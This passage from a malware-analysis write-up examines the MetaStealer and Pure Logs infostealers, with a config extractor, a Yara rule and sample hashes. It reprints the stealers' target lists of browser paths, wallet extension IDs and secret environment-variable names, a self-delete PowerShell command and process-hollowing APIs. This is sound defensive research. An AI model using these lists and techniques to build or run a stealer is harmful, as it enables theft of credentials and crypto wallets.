@"%USERPROFILE%\\AppData\\Local\\liebao\\User Data"
@"%USERPROFILE%\\AppData\\Local\\QIP Surf\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Orbitum\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Comodo\\Dragon\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Amigo\\User\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Torch\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Yandex\\YandexBrowser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Comodo\\User Data"
@"%USERPROFILE%\\AppData\\Local\\360Browser\\Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Maxthon3\\User Data"
@"%USERPROFILE%\\AppData\\Local\\K-Melon\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Sputnik\\Sputnik\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Nichrome\\User Data"
@"%USERPROFILE%\\AppData\\Local\\CocCoc\\Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Uran\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Chromodo\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Mail.Ru\\Atom\\User Data"
@"%USERPROFILE%\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Microsoft\\Edge\\User Data"
@"%USERPROFILE%\\AppData\\Local\\NVIDIA Corporation\\NVIDIA GeForce Experience"
@"%USERPROFILE%\\AppData\\Local\\Steam"
@"%USERPROFILE%\\AppData\\Local\\CryptoTab Browser\\User Data"

MSValue12 contains additional browser paths and Thunderbird:

@"%USERPROFILE%\\AppData\\Roaming\\Mozilla\\Firefox"
@"%USERPROFILE%\\AppData\\Roaming\\Waterfox"
@"%USERPROFILE%\\AppData\\Roaming\\K-Meleon"
@"%USERPROFILE%\\AppData\\Roaming\\Thunderbird"
@"%USERPROFILE%\\AppData\\Roaming\\Comodo\\IceDragon"
@"%USERPROFILE%\\AppData\\Roaming\\8pecxstudios\\Cyberfox"
@"%USERPROFILE%\\AppData\\Roaming\\NETGATE Technologies\\BlackHaw"
@"%USERPROFILE%\\AppData\\Roaming\\Moonchild Productions\\Pale Moon"

MSValue13 – stores cryptowallet information under %AppData%
MSValue14 – stores cryptowallet extensions:

ffnbelfdoeiohenkjibnmadjiehjhajb|YoroiWallet\r\nibnejdfjmmkpcnlpebklmnkoeoihofec|Tronlink\r\njbdaocneiiinmjbjlgalhcelgbejmnid|NiftyWallet\r\nnkbihfbeogaeaoehlefnkodbefgpgknn|Metamask\r\nafbcbjpbpfadlkmhmclhkeeodmamcflc|MathWallet\r\nhnfanknocfeofbddgcijnmhnfnkdnaad|Coinbase\r\nfhbohimaelbohpjbbldcngcnapndodjp|BinanceChain\r\nodbfpeeihdkbihmopkbjmoonfanlbfcl|BraveWallet\r\nhpglfhgfnhbgpjdenjgmdgoeiappafln|GuardaWallet\r\nblnieiiffboillknjnepogjhkgnoapac|EqualWallet\r\ncjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty\r\nfihkakfobkmkjojpchpfgcmhfjnmnfpi|BitAppWallet\r\nkncchdigobghenbbaddojjnnaogfppfj|iWallet\r\namkmjjmmflddogmhpjloimipbofnfjih|Wombat\r\nfhilaheimglignddkjgofkcbgekhenbh|AtomicWallet\r\nnlbmnnijcnlegkjjpcfjclmcfggfefdm|MewCx\r\nnanjmdknhkinifnkgdcggcfnhdaammmj|GuildWallet\r\nnkddgncdjgjfcddamfgcmfnlhccnimig|SaturnWallet\r\nfnjhmkhhmkbjkkabndcnnogagogbneec|RoninWallet\r\naiifbnbfobpmeekipheeijimdpnlpgpp|TerraStation\r\nfnnegphlobjdpkhecapkijjdkgcjhkib|HarmonyWallet\r\naeachknmefphepccionboohckonoeemg|Coin98Wallet\r\ncgeeodpfagjceefieflmdfphplkenlfk|TonCrystal\r\npdadjkfkgcafgbceimcpbkalnfnepbnk|KardiaChain\r\nbfnaelmomeimhlpmgjnjophhpkkoljpa|Phantom\r\nfhilaheimglignddkjgofkcbgekhenbh|Oxygen\r\nmgffkfbidihjpoaomajlbgchddlicgpn|PaliWallet\r\naodkkagnadcbobfpggfnjeongemjbjca|BoltX\r\nkpfopkelmapcoipemfendmdcghnegimn|LiqualityWallet\r\nhmeobnfnfcmdkdcmlblgagmfpfboieaf|XdefiWallet\r\nlpfcbjknijpeeillifnkikgncikgfhdo|NamiWallet\r\ndngmlblcodfobpdpecaadgfbcggfjfnm|MaiarDeFiWallet\r\nejbalbakoplchlghecdalmeeeajnimhm|MetaMask Edge\r\nmlbafbjadjidklbhgopoamemfibcpdfi|GoblinWallet

MSValue15 – stores the environmental variables for tokens and keys:

"AWS_ACCESS_KEY_ID"
"AWS_SECRET_ACCESS_KEY"
"AMAZON_AWS_ACCESS_KEY_ID"
"AMAZON_AWS_SECRET_ACCESS_KEY"
"ALGOLIA_API_KEY"
"AZURE_CLIENT_ID"
"AZURE_CLIENT_SECRET"
"AZURE_USERNAME"
"AZURE_PASSWORD"
"MSI_ENDPOINT"
"MSI_SECRET"
"binance_api"
"binance_secret"
"BITTREX_API_KEY"
"BITTREX_API_SECRET"
"CF_PASSWORD"
"CF_USERNAME"
"CODECLIMATE_REPO_TOKEN"
"COVERALLS_REPO_TOKEN"
"CIRCLE_TOKEN"
"DIGITALOCEAN_ACCESS_TOKEN"
"DOCKER_EMAIL"
"DOCKER_PASSWORD"
"DOCKER_USERNAME"
"DOCKERHUB_PASSWORD"
"FACEBOOK_APP_ID"
"FACEBOOK_APP_SECRET"
"FACEBOOK_ACCESS_TOKEN"
"FIREBASE_TOKEN"
"FOSSA_API_KEY"
"GH_TOKEN"
"GH_ENTERPRISE_TOKEN"
"CI_DEPLOY_PASSWORD"
"CI_DEPLOY_USER"
"GOOGLE_APPLICATION_CREDENTIALS"
"GOOGLE_API_KEY"
"CI_DEPLOY_USER"
"CI_DEPLOY_PASSWORD"
"GITLAB_USER_LOGIN"
"CI_JOB_JWT"
"CI_JOB_JWT_V2"
"CI_JOB_TOKEN"
"HEROKU_API_KEY"
"HEROKU_API_USER"
"MAILGUN_API_KEY"
"MCLI_PRIVATE_API_KEY"
"MCLI_PUBLIC_API_KEY"
"NGROK_TOKEN"
"NGROK_AUTH_TOKEN"
"NPM_AUTH_TOKEN"
"OKTA_CLIENT_ORGURL"
"OKTA_CLIENT_TOKEN"
"OKTA_OAUTH2_CLIENTSECRET"
"OKTA_OAUTH2_CLIENTID"
"OKTA_AUTHN_GROUPID"
"OS_USERNAME"
"OS_PASSWORD"
"PERCY_TOKEN"
"SAUCE_ACCESS_KEY"
"SAUCE_USERNAME"
"SENTRY_AUTH_TOKEN"
"SLACK_TOKEN"
"square_access_token"
"square_oauth_secret"
"STRIPE_API_KEY"
"STRIPE_DEVICE_NAME"
"SURGE_TOKEN"
"SURGE_LOGIN"
"TWILIO_ACCOUNT_SID"
"CONSUMER_KEY"
"CONSUMER_SECRET"
"TRAVIS_SUDO"
"TRAVIS_OS_NAME"
"TRAVIS_SECURE_ENV_VARS"
"VAULT_TOKEN"
"VAULT_CLIENT_KEY"
"TOKEN"
"VULTR_ACCESS"
"VULTR_SECRET"

Let’s look at the Redline sample where it stores the configuration from the sample I analyzed at the end of 2022 and MetaStealer. We can see that MetaStealer is using MSObject* instead of Entity* objects as well as MSValue* instead of Id*. MetaStealer also uses a different type of collections. Redline Stealer uses *System.Collections.Generic.IEnumerable {Entity16[]}* , which represents a sequence of items of type *Entity16*, and the data shown is an array of *Entity16* objects. Metastealer uses *System.Collections.Generic.List*, which represents a dynamic list of strings.

Next, MetaStealer proceeds with decrypting the binary ID, which is the same XOR algorithm described earlier for retrieving the IP address. Further down, I stumbled across the code that is responsible for extracting the data from the byte array and performing the string replacement. Thanks @cod3nym for pointing out that it’s part of ConfuserEx default constant encryption runtime.

Some of the retrieved strings are then getting replaced:

The stealer retrieves the memory with the WMI query SELECT * FROM Win32_OperatingSystem. Next, it retrieves the Windows version via the registry:

Interestingly enough, the stealer checks if the directory at the AppData\Local\ElevatedDiagnostics path exists. If the directory does not exist, it creates the directory. If the directory exists, it then checks if it was created more than 14 days ago (by comparing the directory’s creation time to the current time minus 14 days). If the directory is older than 14 days, it deletes and recreates it. This stealer might be trying to clean up old diagnostic reports to hide any traces of execution.

The code below is responsible for screenshot capture.

GetVirtualDisplaySize method retrieves the size of the virtual display on a system, which encompasses all the screen area across multiple monitors
GetImageBase method is designed to capture an image of the virtual display. First, it retrieves the virtual display size using the GetVirtualDisplaySize method. It then creates a new Bitmap object with the dimensions of the virtual display.
ConvertToBytes method is used to convert an Image object to a byte array, presumably for storage or transmission. If the provided image is not null, it saves the image into a MemoryStream in PNG format. The contents of the memory stream are then converted to a byte array.

MetaStealer uses the WMI query SELECT * FROM Win32_DiskDrive to retrieve information (Serial number) of the physical disk drives.

The code below computes an MD5 hash based on the user’s domain name, username, and serial number retrieved from the query above. The GetHexString method is used to convert bytes into a hexadecimal representation. It processes each byte in the byte array, converting every 4 bits into a hexadecimal character and adds hyphens after every 2 characters (equivalent to every 4 hexadecimal digits) in the generated hash) and then removes them (for example 4E6B8D28B175A2BE89124A80E77753C9). The result is stored in MSValue1 within MSObject7. This will be the HWID value.

The stealer proceeds with enumerating the infected system for FileZilla (C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml). Next, it enumerates AV products using the following WMI queries:

SELECT displayName FROM AntiVirusProduct
SELECT displayName FROM AntiSpyWareProduct
SELECT displayName FROM FirewallProduct

The stealer then proceeds with enumerating the directories for VPN apps such as NordVPN, OpenVPN Connect, ProtonVPN within FileScannerRule class. It retrieves a list of FileInfo objects by scanning a directory specified by msobject.MSValue1 using the EnumerateFiles method. The SearchOption parameter determines whether the search is recursive (SearchOption.AllDirectories) or limited to the top directory only (SearchOption.TopDirectoryOnly).

The stealer retrieves information about running processes via the query SELECT * FROM Win32_Process Where SessionId=’“ as well as the command line for each process:

Search method is responsible for searching for files within certain directories (Windows, Program Files, Program Files (x86)). The BaseDirectory is where the search begins, for example, “C:\Users\username\AppData\Local\Battle.net”.

GetBrowser method gets the information on the installed browsers on the infected machine. 1. It attempts to access the Windows Registry to retrieve information about web browsers installed on the system. It opens a specific Registry key path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet This key is used to store information about web browsers on 64-bit Windows systems. If the first attempt to open the key is unsuccessful, it falls back to opening a similar key path without the “WOW6432Node” part under HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet (32-bit Windows systems). After successfully opening the appropriate Registry key, it retrieves the names of its subkeys (which represent different web browsers) using the GetSubKeyNames() method. Within the loop of iterating through the list of browsers, it creates an instance of an object named MSObject4, which is used to store information about each web browser. The stealer opens a subkey under the current browser’s key path, which corresponds to the “shell\open\command” key, to retrieve the command line associated with launching the browser. This command line is stored in msobject.MSValue3. It then checks if msobject.MSValue3 is not null and then retrieves the file version of the browser executable using FileVersionInfo.GetVersionInfo(msobject.MSValue3).FileVersion.

The processor information is retrieved via the query SELECT * FROM Win32_Processor”* within *GetProcessors method.

The list of installed programs is retrieved within ListofPrograms method by accessing the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

The basic information gathered such as the timezone, the build ID, stealer name, username, Windows version, screen size, MD5 hash (based on the user’s domain name, username, and serial number), language settings are stored under results variable and the stealer configuration is stored under settings variable.

Here is the snippet of the C2 communication with MetaStealer:

Redline for comparison:

So how do you differentiate between two stealers if they are very similar? That’s right, the easiest way is probably based on traffic. The traffic for MetaStealer would slightly be different than for Redline Stealer. MetaStealer would have the indicator hxxp://tempuri.org/Contract/MSValue1 as well as MSValue1, MSValue2, etc., whereas Redline Stealer will have hxxp://tempuri.org/Entity/Id1.net as well as Id1, Id2, etc.

As for the binary, we can also look for Id, MSValue, Entity, MSObject patterns like in the screenshot below:

View of the Settings panel:

The Domain Detector settings are used to sort the logs out based on specific domains, the captured logs configured will be displayed as PDD (if the domain is found in credentials), CDD (if the domain is found in cookies) in the Logs panel as well as generated in the Logs file as DomainsDetected.txt. The Misc section allows the user to clone the certificate of the binary and file information and apply it to the stealer build as well as to increase the file size and apply VirusTotal leak monitoring (to monitor if the file is submitted to VT).

Black Lists section allows the user to blacklist countries (it’s worth noting that. compared to Redline, MetaStealer Stealer does not have an anti-CIS (Commonwealth of Independent States) feature) that prevents the stealer from running in CIS countries), IPs, HWIDs and build IDs.

Binder/Crypt section allows the user to bind/merge binaries and obfuscate them with ConfuserEx. The user then can launch the merged binary from the disk or directly in memory with process hollowing using the following APIs:

CreateProcessInternalW
ZwUnmapViewOfsection
ZwaAllocateVirtualMemory
ZwWriteVirtualMemory
ZwGetThreadContext
LocalFree
ZwSetContexThread
ZwResumeThread
ZwClose

We can test run the Yara rule that I provided at the end of this article for MetaStealer relying specifically on strings that are unique to MetaStealer on unpac.me. After the successful scan, we see 216 matches and 138 of them are detected as “Redline”

Configuration Extractor

You can access the configuration extractor here

# Author: RussianPanda
import clr
import re
import base64

  
DNLIB_PATH = 'path_to_dnlib\\dnlib.dll'
clr.AddReference(DNLIB_PATH)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

TARGET_PATH = 'path_to_binary'
module = dnlib.DotNet.ModuleDefMD.Load(TARGET_PATH)

def xor_data(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def extract_strings_from_dotnet(target_path):
    module = ModuleDefMD.Load(target_path)
    hardcoded_strings = []
    for t in module.Types:
        for m in t.Methods:
            if m.HasBody:
                for instr in m.Body.Instructions:
                    if instr.OpCode == OpCodes.Ldstr:
                        hardcoded_strings.append(instr.Operand)
    return hardcoded_strings

extracted_strings = extract_strings_from_dotnet(TARGET_PATH)

b64 = r'^[A-Za-z0-9+/]+={0,2}$'
b64_strings = []
last_b64_index = -1

for i, string in enumerate(extracted_strings):
    if re.match(b64, string) and len(string) % 4 == 0 and len(string) > 20:
        b64_strings.append(string)
        last_b64_index = i 

xor_key_match = None
if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
    xor_key_match = extracted_strings[last_b64_index + 2]

for i, string in enumerate(b64_strings):
    if i == 0:
        print("Authentication token:", string)
    else:
        break

xor_key = None

if last_b64_index is not None and last_b64_index + 1 < len(extracted_strings):
    potential_key = extracted_strings[last_b64_index + 1]
    if potential_key:
        xor_key = potential_key.encode()
    else:
        xor_key = xor_key_match.encode() if xor_key_match else None

if xor_key:
    for string in b64_strings[1:]:  
        dec_Data = base64.b64decode(string)
        xor_result = xor_data(dec_Data, xor_key)
        try:
            final_result = base64.b64decode(xor_result)
            string_result = final_result.decode('utf-8')
            print("Decrypted String:", string_result)

        except Exception:
            pass

if len(b64_strings) < 3:
    dec_data_another = None
    xor_key_another = None

    if last_b64_index != -1 and last_b64_index + 1 < len(extracted_strings):
        dec_data_another = extracted_strings[last_b64_index + 1]
  
    if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
        xor_key_another = extracted_strings[last_b64_index + 3]

    if xor_key_another:
        xor_key = xor_key_another.encode()

        if dec_data_another:
            try:
                dec_Data = base64.b64decode(dec_data_another)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                print(f"Error in decryption: {e}")

        for string in b64_strings:
            try:
                dec_Data = base64.b64decode(string)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                continue

Yara Rule

import "pe"
rule MetaStealer {

	meta:
		author = "RussianPanda"
		decription = "Detects MetaStealer"
		date = "11/16/2023"

	strings:
		$s1 = "FileScannerRule"
		$s2 = "MSObject"
		$s3 = "MSValue"
		$s4 = "GetBrowsers"
		$s5 = "Biohazard"
			
	condition:
		4 of ($s*) 
		and pe.imports("mscoree.dll")
}

Indicators of Compromise

Name	Indicators
MetaStealer Sample	78a04c5520cd25d9728becca1f032348b2432a3a803c6fed8b68a8ed8cca426f
MetaStealer Sample	1ab93533bff654a20fd069d327ac4185620beb243135640c2213571c8902e325
MetaStealer Sample	5f690cddc7610b8d4aeb85b82979f326373674f9f4032ee214a65758f4e479be
MetaStealer Sample	65f76d89860101aa45eb3913044bd6c36c0639829f863a85f79b3294c1f4d7bb
MetaStealer Sample	c2f2293ce2805f53ec80a5f9477dbb44af1bd403132450f8ea421a742e948494
MetaStealer Sample	8502a5cbc33a50d5c38aaa5d82cd2dbf69deb80d4da6c73b2eee7a8cb26c2f71
MetaStealer Sample	727d823f0407659f3eb0c017e25023784a249d76c9e95a288b923abb4b2fe0dd
MetaStealer Sample	941cc18b46dd5240f03d438ff17f19d946a8037fbe765ae4bc35ffea280df976
MetaStealer Sample	1a83b8555b2661726629b797758861727300d2ce95fe20279dec098011de1fff
MetaStealer Sample	c90a887fc1013ea0b90522fa1f146b0b33d116763afb69ef260eb51b93cf8f46
MetaStealer Sample	19034212e12ba3c5087a21641121a70f9067a5621e5d03761e91aca63d20d993
MetaStealer Sample	2db8d58e51ddb3c04ff552ecc015de1297dc03a17ec7c2aed079ed476691c4aa
MetaStealer Sample	de01e17676ce51e715c6fc116440c405ca4950392946a3aa3e19e28346239abb

Pure Logs Stealer Fails to Impress

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

Pure Logs Stealer first appeared on hacking forums at the end of October 2022. The stealer is developed by a malware developer going under the alias PureCoder.

The malware developer is also behind in developing the products shown above, such as Pure Miner, Pure Crypter, Pure hVNC, Blue Loader, and other products, including HWID reset, Discord DM Worm, and Pure Clipper.

The malware developer periodically pushes updates to their products. The

The view of the File Grabber panel:

The view of the File Builder panel:

The stealer can be purchased automatically via the Telegram Bot without interacting directly with the malware developer/seller.

Before diving into the technical part, I want to thank cod3nym for helping with the crypter and getting additional stealer samples.

Technical Analysis

Pure Logs Stealer comes crypted using their own Pure Crypter product. The stealer allegedly has antiVM, self-delete, persistence, file grabber, and file loader features, but the features currently do not work as expected within the stealer. The self-delete feature removes the stealer payload via PowerShell command **powershell Start-Sleep -Seconds 10; Remove-Item -Path ’“”‘ -Force”**.

The persistence is added via Registry Run Keys (T1547.001).

I will not go through the layers of unpacking and just go straight to the core payload, which is our Pure Logs stealer. The stealer is 64-bit and is slightly over 2MB in size. It is topped with Eazfuscator.NET, which obviously is a .NET obfuscator, as shown in the image below.

The stealer creates the folder under %TEMP%\Costura\1485B29524EF63EB83DF771D39CCA767\64** and drops the file **sqlite.interop.dll that is one of the dependencies for the stealer, likely facilitating access to the browser data.

The Main method within the PlgCore class loads the C2 address, and build ID (the default build ID is Default) as one of the arguments from the crypter, the other one is the value that will be used along with MD5 to generate the 3DES key for data encryption, but we will through that later in the article.

The stealer gets the host information, including the version of the OS, via WMI, specifically SELECT * FROM win32_operatingsystem statement. If neither 32-bit nor 64-bit OS systems cannot be determined, the OS is marked as “unknown”, the same goes for the username, machine name, antivirus products, the working directory (the path from where the stealer was launched), etc., enumeration.

It gets BIOS information via Win32_BaseBoard. ProcessorId and CPU information via Win32_Processor. The ProcessorId and CPU information are then used to generate an MD5 hash, which will be the HWID marker in the stealer’s log file for the infected machine.

The username and the HWID are separated by an underscore and displayed in the panel in the format “username_hwid”, as shown below.

Next, the stealer splits at the pipe the gathered information via SELECT * FROM win32_operatingsystem , specifically under the value Name, and likely grab only the Windows Version value to parse it to the stealer’s log file.

The query for antivirus products is performed via Select * from AntivirusProduct statement.

The method below captures a screenshot of the entire primary display screen of the infected host and converts it into a JPEG image format, returning the image as a byte array.

The method below gets the content of the clipboard.

The GPU information is accessed via Win32_VideoController under the Name value. The RAM value is accessed via Win32_ComputerSystem under the TotalPhysicalMemory value.

The method below is responsible for getting the screen size. It gets the dimensions of the display screen of the computer using Screen.GetBounds(Point.Empty)

The list of the cryptowallet extensions to be enumerated and collected by the stealer:

{
		{
			"ibnejdfjmmkpcnlpebklmnkoeoihofec",
			"TronLink"
		},
		{
			"nkbihfbeogaeaoehlefnkodbefgpgknn",
			"MetaMask"
		},
		{
			"fhbohimaelbohpjbbldcngcnapndodjp",
			"Binance Chain Wallet"
		},
		{
			"ffnbelfdoeiohenkjibnmadjiehjhajb",
			"Yoroi"
		},
		{
			"cjelfplplebdjjenllpjcblmjkfcffne",
			"Jaxx Liberty"
		},
		{
			"fihkakfobkmkjojpchpfgcmhfjnmnfpi",
			"BitApp Wallet"
		},
		{
			"kncchdigobghenbbaddojjnnaogfppfj",
			"iWallet"
		},
		{
			"aiifbnbfobpmeekipheeijimdpnlpgpp",
			"Terra Station"
		},
		{
			"ijmpgkjfkbfhoebgogflfebnmejmfbml",
			"BitClip"
		},
		{
			"blnieiiffboillknjnepogjhkgnoapac",
			"EQUAL Wallet"
		},
		{
			"amkmjjmmflddogmhpjloimipbofnfjih",
			"Wombat"
		},
		{
			"jbdaocneiiinmjbjlgalhcelgbejmnid",
			"Nifty Wallet"
		},
		{
			"afbcbjpbpfadlkmhmclhkeeodmamcflc",
			"Math Wallet"
		},
		{
			"hpglfhgfnhbgpjdenjgmdgoeiappafln",
			"Guarda"
		},
		{
			"aeachknmefphepccionboohckonoeemg",
			"Coin98 Wallet"
		},
		{
			"imloifkgjagghnncjkhggdhalmcnfklk",
			"Trezor Password Manager"
		},
		{
			"oeljdldpnmdbchonielidgobddffflal",
			"EOS Authenticator"
		},
		{
			"gaedmjdfmmahhbjefcbgaolhhanlaolb",
			"Authy"
		},
		{
			"ilgcnhelpchnceeipipijaljkblbcobl",
			"GAuth Authenticator"
		},
		{
			"bhghoamapcdpbohphigoooaddinpkbai",
			"Authenticator"
		},
		{
			"mnfifefkajgofkcjkemidiaecocnkjeh",
			"TezBox"
		},
		{
			"dkdedlpgdmmkkfjabffeganieamfklkm",
			"Cyano Wallet"
		},
		{
			"aholpfdialjgjfhomihkjbmgjidlcdno",
			"Exodus Web3"
		},
		{
			"jiidiaalihmmhddjgbnbgdfflelocpak",
			"BitKeep"
		},
		{
			"hnfanknocfeofbddgcijnmhnfnkdnaad",
			"Coinbase Wallet"
		},
		{
			"egjidjbpglichdcondbcbdnbeeppgdph",
			"Trust Wallet"
		},
		{
			"hmeobnfnfcmdkdcmlblgagmfpfboieaf",
			"XDEFI Wallet"
		},
		{
			"bfnaelmomeimhlpmgjnjophhpkkoljpa",
			"Phantom"
		},
		{
			"fcckkdbjnoikooededlapcalpionmalo",
			"MOBOX WALLET"
		},
		{
			"bocpokimicclpaiekenaeelehdjllofo",
			"XDCPay"
		},
		{
			"flpiciilemghbmfalicajoolhkkenfel",
			"ICONex"
		},
		{
			"hfljlochmlccoobkbcgpmkpjagogcgpk",
			"Solana Wallet"
		},
		{
			"cmndjbecilbocjfkibfbifhngkdmjgog",
			"Swash"
		},
		{
			"cjmkndjhnagcfbpiemnkdpomccnjblmj",
			"Finnie"
		},
		{
			"dmkamcknogkgcdfhhbddcghachkejeap",
			"Keplr"
		},
		{
			"kpfopkelmapcoipemfendmdcghnegimn",
			"Liquality Wallet"
		},
		{
			"hgmoaheomcjnaheggkfafnjilfcefbmo",
			"Rabet"
		},
		{
			"fnjhmkhhmkbjkkabndcnnogagogbneec",
			"Ronin Wallet"
		},
		{
			"klnaejjgbibmhlephnhpmaofohgkpgkd",
			"ZilPay"
		},
		{
			"ejbalbakoplchlghecdalmeeeajnimhm",
			"MetaMask"
		},
		{
			"ghocjofkdpicneaokfekohclmkfmepbp",
			"Exodus Web3"
		},
		{
			"heaomjafhiehddpnmncmhhpjaloainkn",
			"Trust Wallet"
		},
		{
			"hkkpjehhcnhgefhbdcgfkeegglpjchdc",
			"Braavos Smart Wallet"
		},
		{
			"akoiaibnepcedcplijmiamnaigbepmcb",
			"Yoroi"
		},
		{
			"djclckkglechooblngghdinmeemkbgci",
			"MetaMask"
		},
		{
			"acdamagkdfmpkclpoglgnbddngblgibo",
			"Guarda Wallet"
		},
		{
			"okejhknhopdbemmfefjglkdfdhpfmflg",
			"BitKeep"
		},
		{
			"mijjdbgpgbflkaooedaemnlciddmamai",
			"Waves Keeper"
		}

List of browser extensions to be enumerated and collected:

		{
			"Chromium\\User Data\\",
			"Chromium"
		},
		{
			"Google\\Chrome\\User Data\\",
			"Chrome"
		},
		{
			"Opera Software\\Opera GX Stable\\",
			"Opera GX"
		},
		{
			"Opera Software\\Opera Stable\\",
			"Opera"
		},
		{
			"Google(x86)\\Chrome\\User Data\\",
			"Chrome"
		},
		{
			"BraveSoftware\\Brave-Browser\\User Data\\",
			"Brave"
		},
		{
			"Microsoft\\Edge\\User Data\\",
			"Edge"
		},
		{
			"Tencent\\QQBrowser\\User Data\\",
			"QQBrowser"
		},
		{
			"MapleStudio\\ChromePlus\\User Data\\",
			"ChromePlus"
		},
		{
			"Iridium\\User Data\\",
			"Iridium"
		},
		{
			"7Star\\7Star\\User Data\\",
			"7Star"
		},
		{
			"CentBrowser\\User Data\\",
			"CentBrowser"
		},
		{
			"Chedot\\User Data\\",
			"Chedot"
		},
		{
			"Vivaldi\\User Data\\",
			"Vivaldi"
		},
		{
			"Kometa\\User Data\\",
			"Kometa"
		},
		{
			"Elements Browser\\User Data\\",
			"Elements"
		},
		{
			"Epic Privacy Browser\\User Data\\",
			"Epic Privacy"
		},
		{
			"uCozMedia\\Uran\\User Data\\",
			"Uran"
		},
		{
			"Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\",
			"Sleipnir5"
		},
		{
			"CatalinaGroup\\Citrio\\User Data\\",
			"Citrio"
		},
		{
			"Coowon\\Coowon\\User Data\\",
			"Coowon"
		},
		{
			"liebao\\User Data\\",
			"liebao"
		},
		{
			"QIP Surf\\User Data\\",
			"QIP Surf"
		},
		{
			"Orbitum\\User Data\\",
			"Orbitum"
		},
		{
			"Comodo\\Dragon\\User Data\\",
			"Dragon"
		},
		{
			"Amigo\\User\\User Data\\",
			"Amigo"
		},
		{
			"Torch\\User Data\\",
			"Torch"
		},
		{
			"Yandex\\YandexBrowser\\User Data\\",
			"Yandex"
		},
		{
			"Comodo\\User Data\\",
			"Comodo"
		},
		{
			"360Browser\\Browser\\User Data\\",
			"360Browser"
		},
		{
			"Maxthon3\\User Data\\",
			"Maxthon3"
		},
		{
			"K-Melon\\User Data\\",
			"K-Melon"
		},
		{
			"Sputnik\\Sputnik\\User Data\\",
			"Sputnik"
		},
		{
			"Nichrome\\User Data\\",
			"Nichrome"
		},
		{
			"CocCoc\\Browser\\User Data\\",
			"CocCoc"
		},
		{
			"Uran\\User Data\\",
			"Uran"
		},
		{
			"Chromodo\\User Data\\",
			"Chromodo"
		},
		{
			"Mail.Ru\\Atom\\User Data\\",
			"Atom"
		}
	};

Some of the data collected from Chromium-based browsers and the mention of encrypted_mnemonic is shown in the image below. encrypted_mnemonic most likely stores a securely encrypted version of a mnemonic seed phrase, which is essential for accessing or recovering cryptowallets.

For Gecko-based applications such as:

Mozilla\Firefox
Waterfox
K-Meleon
Thunderbird
Comodo\IceDragon
8pecxstudios\Cyberfox
NETGATE Technologies\BlackHaw
Moonchild Productions\Pale Moon

The stealer uses specific queries, for example, “SELECT * FROM moz_bookmarks” , the query that interacts with the SQLite database used by Mozilla Firefox for storing user bookmarks. For Gecko-based applications, the stealer accesses file logins.json, which Mozilla Firefox uses to store saved login information, including usernames and passwords for websites, as shown below.

The method below is responsible for extracting, processing, and decrypting credential information from specific registry paths related to Outlook profiles. The regex patterns are used to validate server names and email addresses.

The following Outlook registry paths are enumerated:

Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676

The snippet below is the method responsible for grabbing Discord data. The method iterates through directories associated with different Discord builds (discord, discordcanary, discordptb).

It searches for directories containing local storage data (specifically in the leveldb folder).
The method calls \uE002 to extract certain data from the local storage files (ldb, log, sqlite)
If any data is found, it attempts to make web requests to Discord API endpoints using these tokens. The regular expressions in the image below is created to match patterns that resemble Discord authentication tokens.

Funny fact: all Discord tokens start with dqw4w9wgxcq, let’s not get rickrolled …

Interestingly enough, Pure Logs Stealer also collects Windows product key and stores it under a separate log file named App_Windows Serial Key.txt. It accesses the key via the registry SOFTWARE\Microsoft\Windows NT\CurrentVersion under the value DigitalProductId.

I renamed each method so it is easy to visualize what type of data the stealer collects:

As you can see from the above image, the most current stealer version is v3.1.3, and some additional sensitive data is collected from the following applications:

FileZilla
WinSCP (collects username, and passwords)
Foxmail
Telegram
Pidgin
Signal
InternetDownloadManager (IDM) (collects email addresses, first name, last name and serial number)
OBS Studio (collects profiles data)
Ngrok (collects ngrok.yml)
OpenVPN
ProtonVPN

I will leave it to you to explore what files it collects from some of the applications mentioned above.

The example of the logs folder is shown below:

It is worth noting that after successfully executing, the stealer creates a registry subkey under HKU:\Software with the HWID value.

C2 Communication

